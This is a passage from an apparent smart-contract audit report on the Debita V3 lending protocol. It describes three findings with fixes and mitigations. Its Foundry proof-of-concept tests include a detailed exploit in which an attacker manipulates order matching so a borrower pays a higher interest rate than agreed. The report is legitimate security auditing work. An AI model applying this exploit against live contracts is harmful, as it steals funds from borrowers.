In this example, the incentivizer suffers an approximate loss of 0.04%. This loss could increase as the number of distinct lenders and borrowers interacting with the protocol grows, aligning with the protocol's objective of fostering increased activity.
Users experience a partial loss of their incentive share each time they interact with an incentivized pair within a 14-day period.

It is important to note that incentivizers can incentivize an unlimited number of token pairs for an unlimited number of epochs.
Additionally, lenders can participate across multiple epochs.

While the amount of locked funds in this simple scenario is relatively small, similar scenarios could occur repeatedly over an unlimited number of epochs. Over time, this accumulation could result in hundreds of tokens being permanently locked in the contract.

PoC

The following should be added in MultipleLoansDuringIncentives.t.sol:

address fourthLender = address(0x04);  
address fifthLender = address(0x05);  
address sixthLender = address(0x06);  

Add the following test to MultipleLoansDuringIncentives.t.sol:

function testUnclaimableIncentives() public {  
    incentivize(AERO, AERO, USDC, true, 1000e18, 2);  
    vm.warp(block.timestamp + 15 days);  
    createLoan(borrower, firstLender, AERO, AERO);  
    createLoan(borrower, secondLender, AERO, AERO);  
    createLoan(borrower, thirdLender, AERO, AERO);  
    createLoan(borrower, fourthLender, AERO, AERO);  
    createLoan(borrower, fifthLender, AERO, AERO);  
    createLoan(borrower, sixthLender, AERO, AERO);  
    vm.warp(block.timestamp + 30 days);  
          
    // principles, tokenIncentives, epoch with dynamic Data  
    address[] memory principles = allDynamicData.getDynamicAddressArray(1);  
    address[] memory tokenUsedIncentive = allDynamicData  
        .getDynamicAddressArray(1);  
    address[][] memory tokenIncentives = new address[][](  
        tokenUsedIncentive.length  
    );  
    principles[0] = AERO;  
    tokenUsedIncentive[0] = USDC;  
    tokenIncentives[0] = tokenUsedIncentive;  
  
    vm.startPrank(firstLender);  
    uint balanceBefore_First = IERC20(USDC).balanceOf(firstLender);  
    incentivesContract.claimIncentives(principles, tokenIncentives, 2);  
    uint balanceAfter_First = IERC20(USDC).balanceOf(firstLender);  
    vm.stopPrank();  
  
    vm.startPrank(secondLender);  
    uint balanceBefore_Second = IERC20(USDC).balanceOf(secondLender);  
    incentivesContract.claimIncentives(principles, tokenIncentives, 2);  
    uint balanceAfter_Second = IERC20(USDC).balanceOf(secondLender);  
    vm.stopPrank();  
  
    vm.startPrank(thirdLender);  
    uint balanceBefore_Third = IERC20(USDC).balanceOf(thirdLender);  
    incentivesContract.claimIncentives(principles, tokenIncentives, 2);  
    uint balanceAfter_Third = IERC20(USDC).balanceOf(thirdLender);  
    vm.stopPrank();  
  
    vm.startPrank(fourthLender);  
    uint balanceBefore_Fourth = IERC20(USDC).balanceOf(fourthLender);  
    incentivesContract.claimIncentives(principles, tokenIncentives, 2);  
    uint balanceAfter_Fourth = IERC20(USDC).balanceOf(fourthLender);  
    vm.stopPrank();  
  
    vm.startPrank(fifthLender);  
    uint balanceBefore_Fifth = IERC20(USDC).balanceOf(fifthLender);  
    incentivesContract.claimIncentives(principles, tokenIncentives, 2);  
    uint balanceAfter_Fifth = IERC20(USDC).balanceOf(fifthLender);  
    vm.stopPrank();  
  
    vm.startPrank(sixthLender);  
    uint balanceBefore_Sixth = IERC20(USDC).balanceOf(sixthLender);  
    incentivesContract.claimIncentives(principles, tokenIncentives, 2);  
    uint balanceAfter_Sixth = IERC20(USDC).balanceOf(sixthLender);  
    vm.stopPrank();  
  
    uint claimedFirst = balanceAfter_First - balanceBefore_First;  
    uint claimedSecond = balanceAfter_Second - balanceBefore_Second;  
    uint claimedThird = balanceAfter_Third - balanceBefore_Third;  
    uint claimedFourth = balanceAfter_Fourth - balanceBefore_Fourth;  
    uint claimedFifth = balanceAfter_Fifth - balanceBefore_Fifth;  
    uint claimedSixth = balanceAfter_Sixth - balanceBefore_Sixth;  
  
    assertEq(claimedFirst, claimedSecond);  
    assertEq(claimedSecond, claimedThird);  
    assertEq(claimedThird, claimedFourth);  
    assertEq(claimedFourth, claimedFifth);  
    assertEq(claimedFifth, claimedSixth);  
  
    // formula percentage: porcentageLent = (lentAmount * 10000) / totalLentAmount;  
    // (5e18 * 10000) / 30e18 = 1666.66667 (16.6666667%)  
    // rounded to 1666 (16%), 0.66667 (0.0066667%) will be lost  
    uint amount = (1000e18 * 1666) / 10000;  
  
    assertEq(amount, 1666e17);  
    assertEq(claimedFirst, amount);  
          
    uint claimedAmount = claimedFirst + claimedSecond + claimedThird + claimedFourth + claimedFifth + claimedSixth;  
  
    // 6 different lenders with lend orders of 5e18 will not get the whole 1000e18 of incentives  
    assertNotEq(1000e18, claimedAmount);  
  
    // percentage should be approximately 1666.66667 (16.6666667%)  
    // rounded to 1666 (16%), 0.66667 (0.0066667%) will be lost per lend order  
  
    uint lockedAmount = 1000e18 - claimedAmount;  
  
    // 0.04% of 1000e18 (4e17) will be locked forever  
    assertEq(lockedAmount, 4e17);  
}  

Mitigation

Consider adding a mechanism that allows incentivizers to withdraw their unclaimed incentives from all their past incentivized epochs after a specified period following the end of the last incentivized epoch (e.g., two epochs later).

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/f9fc693f1fb78447b44a11be8808b1d482b6e0ae

Issue M-11: Auctioned taxTokensReceipt NFT Blocks Last Claimant Due to Insufficient Funds

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/470

Found by

0x37, KaplanLabs, bbl4de, dimulski

Summary

In the Auction::buyNFT function, users can purchase the current NFT in an auction using the same type of tokens as the underlying asset of the NFT. For example, taxTokensReceipt created with FoT tokens must be bought with the same FoT tokens.

During the execution of this function, a transferFrom() is performed to transfer funds from the buyer to the auction owner (loan contract). However, it does not account for fees applied during the transfer:

        SafeERC20.safeTransferFrom(  
            IERC20(m_currentAuction.sellingToken),  
            msg.sender,  
            s_ownerOfAuction,  
>>          currentPrice - feeAmount // feeAmount: Fee for the protocol  
        );  

Later in the function, it calls DebitaV3Loan::handleAuctionSell to distribute the collateral received from the buyer among the parties involved in the loan:

        if (m_currentAuction.isLiquidation) {  
            debitaLoan(s_ownerOfAuction).handleAuctionSell(  
>>              currentPrice - feeAmount  
            );  
        }  

The issue arises because the auction contract does not consider the fee on transfer when selling an auctioned taxTokensReceipt NFT. As a result, the final person attempting to claim their share of the collateral on the loan contract will encounter a revert due to insufficient funds.

Root Cause

Not accounting for the fee on transfer when purchasing a taxTokensReceipt NFT being auctioned.

Internal pre-conditions

• Creation a taxTokenReceipt NFT with an FoT token.
• Use this taxTokenReceipt NFT as collateral in a loan with multiple lenders.
• The loan defaults and the collateral is auctioned.

External pre-conditions

No response

Attack Path

• FoT Token Fee: 1% fee on every transfer.

Steps:

1. The borrower creates a taxTokensReceipt NFT wrapping 10,000 FoT tokens.
2. This NFT is used as collateral in a loan with multiple lenders.
3. At the end of the loan, the borrower defaults and auctions the NFT.
4. During the auction, another user buys the NFT for 7,000 FoT, but due to the FoT token's transfer fee, the loan contract receives only 6,930 FoT.
5. Inside handleAuctionSell(), the system calculates an inflated tokenPerCollateralUsed value (used to split collateral among the remaining claimants) because it doesn't account for the transfer fee.
6. Impact: When multiple lenders attempt to claim their share of the collateral, the last lender is unable to claim due to insufficient funds in the contract.

Impact

The last person attempting to claim the collateral in the loan will be unable to do so.

PoC

No response

Mitigation

Take into account the fee on transfer when buying the taxTokenReceipt NFT.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/7c2bd9e63c95e38f22f3478d36f72c33e8b17117

Issue M-12: A borrower may pay more interest that he has specified, if orders are matched by a malicious actor

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/480

Found by

0x37, BengalCatBalu, dimulski, h4rs0n, newspacexyz

Summary

In the DebitaV3Aggregator.sol contract, anybody can match borrow and lend orders by calling the matchOffersV3() function. When borrowers create their borrow orders they specify a maximum APR they are willing to pay. However the matchOffersV3() function allows the caller to specify an array of 29 different lend orders to be matched against each borrow offer. Another important parameter is the uint[] memory lendAmountPerOrder which specifies the amount of principal tokens each lend order will provide. A malicious user can provide smaller amounts for a part of the lendAmountPerOrder params, such that the borrower pays a higher APR on this amounts. The problem arises due to the fact that there are no minimum restrictions on the lendAmountPerOrder (except it being bigger than 0), and the fact that solidity rounds down on division.

uint updatedLastApr = (weightedAverageAPR[principleIndex] * amountPerPrinciple[principleIndex]) / (amountPerPrinciple[principleIndex] + lendAmountPerOrder[i]);  
uint newWeightedAPR = (lendInfo.apr * lendAmountPerOrder[i]) / amountPerPrinciple[principleIndex];  
weightedAverageAPR[principleIndex] = newWeightedAPR + updatedLastApr;  

As we can see form the code snippet above, when the newWeightedAPR is calculated if the APR specified by the lender of a lend order and the lendAmountPerOrder product is less than the amountPerPrinciple[principleIndex], 0 will be added to the weightedAverageAPR for the borrow order. Now if the borrower has requested a lot of funds, paying much bigger APR than the one he specified on 2% - 3% on those funds results in big loss for the borrower.
Let's consider a simplified example of the PoC provided in the PoC section

• A borrower creates a borrow offer for 500_000e6 USDC, with WETH as collateral, a 5% APR, and a ratio of 2_500e6 USDC for 1e18 WETH, for a duration of 150 days.
• There might be several lenders that have created orders that match the params of the borrow order, for simplicity consider there is one lender - LenderA that matches the params, and he has provided 495_000e6 USDC as available principal, or is left with such amount, after his lend order was matched with other borrow orders.
• Now the person who is matching the orders can either create a lend offer with higher APR, or find another lender who provides an accepted principal by the borrower, and accepts the offered collateral, but has a higher APR than the one specified by the borrower.
• We assumer the user matching the orders creates a lend order with 10% APR, which is double the APR specified by the borrower (instead of only hurting the borrower by making him pay more interest, he is also going to profit).
• When matching the orders, the user will first provide a lendAmountPerOrder of 200_000e6 + 1 from the lend order of LenderA, and then 28 more lendAmountPerOrder 200e6 each from the lend order with 10% APR
• Since the max length of the lendAmountPerOrder is 29, for a bigger impact the malicious user will call the matchOffersV3() function once more, this time setting the first lendAmountPerOrder to be 286_391e6 + 1, and the next amounts for the lendAmountPerOrder will be 286e6
• This results in two separate loan orders, however they are both for the same borrow order, in this way the borrower will have to pay 5% APR on 486_391e6 + 2 USDC, and 10% APR on 13_608e6 USDC. The borrower will have to pay double the APR he specified on ~2.72% of the funds he received(excluding the Debita protocol withheld fees, on which the borrower still pays interest). This results in the borrower paying 10_553_568_492 USDC instead of 10_273_952_054 USDC, which is a difference of 279_616_438 ~279e6 USDC, for the 150 day duration of the loan. Note that the above calculation are provided in the PoC below.

In conclusion this results in the borrower paying double the APR he specified on part of the principal he received. Keep in mind that the collateral is worth more than the principal, so the borrower is incentivized to repay his debt back, for some reason Debita has decided to not utilize liquidation if the nominal dollar value drops below the dollar nominal value of the principal, and rely only on loan duration for loan liquidations. Also in the above scenario the malicious actor profited by collecting a bigger interest rate on his assets.

Root Cause

In the matchOffersV3() function, there are no limitations on who can call the function, and on the provided parameters.

Internal pre-conditions

Borrower creates a big borrow order

External pre-conditions

No response

Attack Path

No response

Impact

When borrow orders are big (there are numerous cases where people have taken out millions in loans, by providing crypto assets as collateral), malicious actors can match borrow and lend orders in such a way that the borrower pays much more APR than he has specified on a percentage of the principal he receives. This is a clear theft of funds, and in most cases the attacker can profit, if he matches the borrow order with a lend order of himself with a higher APR, and once the loan is repaid, collect the interest rate.

PoC

Gist
After following the steps in the above mentiond gist add the following test to the AuditorTests.t.sol file:

    function test_InflateAPR() public {  
        vm.startPrank(alice);  
        WETH.mint(alice, 200e18);  
        WETH.approve(address(dboFactory), type(uint256).max);  
  
        bool[] memory oraclesActivated = new bool[](1);  
        oraclesActivated[0] = false;  
  
        uint256[] memory LTVs = new uint256[](1);  
        LTVs[0] = 0;  
  
        address[] memory acceptedPrinciples = new address[](1);  
        acceptedPrinciples[0] = address(USDC);  
  
        address[] memory oraclesAddresses = new address[](1);  
        oraclesAddresses[0] = address(0);  
  
        uint256[] memory ratio = new uint256[](1);  
        ratio[0] = 2_500e6;  
  
        /// @notice alice wants 2_500e6 USDC for 1 WETH  
        address aliceBorrowOrder = dboFactory.createBorrowOrder(  
            oraclesActivated,  
            LTVs,  
            500, /// @notice set max interest rate to 5%  
            150 days,  
            acceptedPrinciples,  
            address(WETH),  
            false,  
            0,  
            oraclesAddresses,  
            ratio,  
            address(0),  
            200e18  
        );  
        vm.stopPrank();  
  
        vm.startPrank(bob);  
        USDC.mint(bob, 495_000e6);  
        USDC.approve(address(dloFactory), type(uint256).max);  
  
        address[] memory acceptedCollaterals = new address[](1);  
        acceptedCollaterals[0] = address(WETH);  
  
        address bobLendOffer = dloFactory.createLendOrder(  
            false,  
            oraclesActivated,  
            false,  
            LTVs,  
            500,  
            151 days,  
            10 days,  
            acceptedCollaterals,  
            address(USDC),  
            oraclesAddresses,  
            ratio,  
            address(0),  
            495_000e6  
        );  
        vm.stopPrank();  
  
        vm.startPrank(attacker);  
        USDC.mint(attacker, 15_000e6);  
        USDC.approve(address(dloFactory), type(uint256).max);  
  
        address attackerLendOffer = dloFactory.createLendOrder(  
            false,  
            oraclesActivated,  
            false,  
            LTVs,  
            1000,  
            151 days,  
            10 days,  
            acceptedCollaterals,  
            address(USDC),  
            oraclesAddresses,  
            ratio,  
            address(0),  
            15_000e6  
        );  
  
        /// @notice match orders  
        address[] memory lendOrders = new address[](29);  
        lendOrders[0] = address(bobLendOffer);  
        for(uint256 i = 1; i < 29; i++) {  
            lendOrders[i] = address(attackerLendOffer);  
        }  
  
        uint[] memory lendAmountPerOrder1 = new uint[](29);  
        lendAmountPerOrder1[0] = 200_000e6 + 1;  
        uint256 sumLendedLoanOrder1 = lendAmountPerOrder1[0];  
        for(uint256 i = 1; i < 29; i++) {  
            lendAmountPerOrder1[i] = 200e6;  
            sumLendedLoanOrder1 += lendAmountPerOrder1[i];  
        }  
  
        uint[] memory porcentageOfRatioPerLendOrder = new uint[](29);  
        for(uint256 i; i < 29; i++) {  
            porcentageOfRatioPerLendOrder[i] = 10_000;  
        }  
  
        address[] memory principles = new address[](1);  
        principles[0] = address(USDC);  
  
        uint[] memory indexForPrinciple_BorrowOrder = new uint[](1);  
        indexForPrinciple_BorrowOrder[0] = 0;  
  
        uint[] memory indexForCollateral_LendOrder = new uint[](29);  
        for(uint256 i; i < 29; i++) {  
            indexForCollateral_LendOrder[i] = 0;  
        }  
  
        uint[] memory indexPrinciple_LendOrder = new uint[](29);  
        for(uint256 i; i < 29; i++) {  
            indexPrinciple_LendOrder[i] = 0;  
        }  
  
        address loanOrder1 = debitaV3Aggregator.matchOffersV3(  
            lendOrders,  
            lendAmountPerOrder1,  
            porcentageOfRatioPerLendOrder,  
            aliceBorrowOrder,  
            principles,  
            indexForPrinciple_BorrowOrder,  
            indexForCollateral_LendOrder,  
            indexPrinciple_LendOrder  
        );  
  
        uint[] memory lendAmountPerOrder2 = new uint[](29);  
        lendAmountPerOrder2[0] = 286_391e6 + 1;  
        uint256 sumLendedLoanOrder2 = lendAmountPerOrder2[0];  
        for(uint256 i = 1; i < 29; i++) {  
            lendAmountPerOrder2[i] = 286e6;  
            sumLendedLoanOrder2 += lendAmountPerOrder2[i];  
        }  
  
        address loanOrder2 = debitaV3Aggregator.matchOffersV3(  
            lendOrders,  
            lendAmountPerOrder2,  
            porcentageOfRatioPerLendOrder,  
            aliceBorrowOrder,  
            principles,  
            indexForPrinciple_BorrowOrder,  
            indexForCollateral_LendOrder,  
            indexPrinciple_LendOrder  
        );  
  
        vm.stopPrank();  
  
        vm.startPrank(alice);  
        skip(150 days);  
  
        uint256 aliceTotalBorrowed = sumLendedLoanOrder1 + sumLendedLoanOrder2;  
        console2.log("Alice's total borrowed: ", aliceTotalBorrowed);  
        uint256 taxedFee = aliceTotalBorrowed * 80 / 10_000;  
        uint256 aliceUSDCBalance = USDC.balanceOf(alice);  
        uint256 subFeeFromBalacne = aliceTotalBorrowed - taxedFee;  
        uint256 aliceSupposedInterest = (aliceTotalBorrowed * 500) / 10000;  
        uint256 duration = 150 days;  
        uint256 aliceSupposedFinalPayment = (aliceSupposedInterest * duration) / 31536000;  
        console2.log("The amount alice should have paid after 150 days on 5%APR : ", aliceSupposedFinalPayment);  
  
        uint256 alice10APR = (13_608e6 * 1_000) / 10_000;  
        uint256 alice10APRFinalPayment = (alice10APR * duration) / 31536000;  
        uint256 aliceNormalAPR = ((lendAmountPerOrder1[0] + lendAmountPerOrder2[0]) * 500) / 10_000;  
        uint256 aliceNormalAPRFinalPayment = (aliceNormalAPR * duration) / 31536000;  
        uint256 aliceActualFinalInterestPayment = alice10APRFinalPayment + aliceNormalAPRFinalPayment;  
  
        console2.log("Alice's actual final interest payment: ", aliceActualFinalInterestPayment);  
        console2.log("Alice's overpays with: ", aliceActualFinalInterestPayment - aliceSupposedFinalPayment);  
  
        USDC.mint(alice, 50_000e6);  
        USDC.approve(address(loanOrder1), type(uint256).max);  
        USDC.approve(address(loanOrder2), type(uint256).max);  
  
        uint[] memory indexes = new uint[](29);  
        for(uint256 i; i < 29; i++) {  
            indexes[i] = i;  
        }  
        uint256 aliceUSDCBalanceBeforeRepaying = USDC.balanceOf(alice);  
        DebitaV3Loan(loanOrder1).payDebt(indexes);  
        DebitaV3Loan(loanOrder2).payDebt(indexes);  
        uint256 aliceUSDCBalanceAfterRepaying = USDC.balanceOf(alice);  
        uint256 aliceTotalPaidAmount = aliceUSDCBalanceBeforeRepaying - aliceUSDCBalanceAfterRepaying;  
        console2.log("Alice's total paid amount: ", aliceTotalPaidAmount);  
        vm.stopPrank();  
    }